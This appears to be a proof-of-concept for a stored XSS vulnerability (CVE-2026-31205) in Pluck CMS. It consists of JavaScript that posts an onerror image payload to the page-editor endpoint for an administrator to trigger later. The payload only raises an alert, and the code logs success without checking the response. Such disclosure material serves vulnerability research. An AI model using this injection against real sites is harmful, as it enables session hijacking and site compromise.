CVE-2026-31205: Pluck CMS存储型XSS漏洞

// Proof of Concept for CVE-2026-31205 // This script demonstrates how an attacker might inject a payload. // The payload targets the page editor functionality. // Malicious payload designed to bypass basic sanitization // or exploit gaps in the sanitizePageContent function. var xssPayload = '<img src=x onerror=alert(1)>'; // Simulate sending the payload to the editpage.php endpoint // Note: Valid session cookies are required (PR:H) fetch('/data/inc/editpage.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'title=HackedPage&content=' + encodeURIComponent(xssPayload) + '&save=1' }).then(response => console.log('Payload injected successfully')); // Wait for an administrator to view the page to trigger the privilege escalation.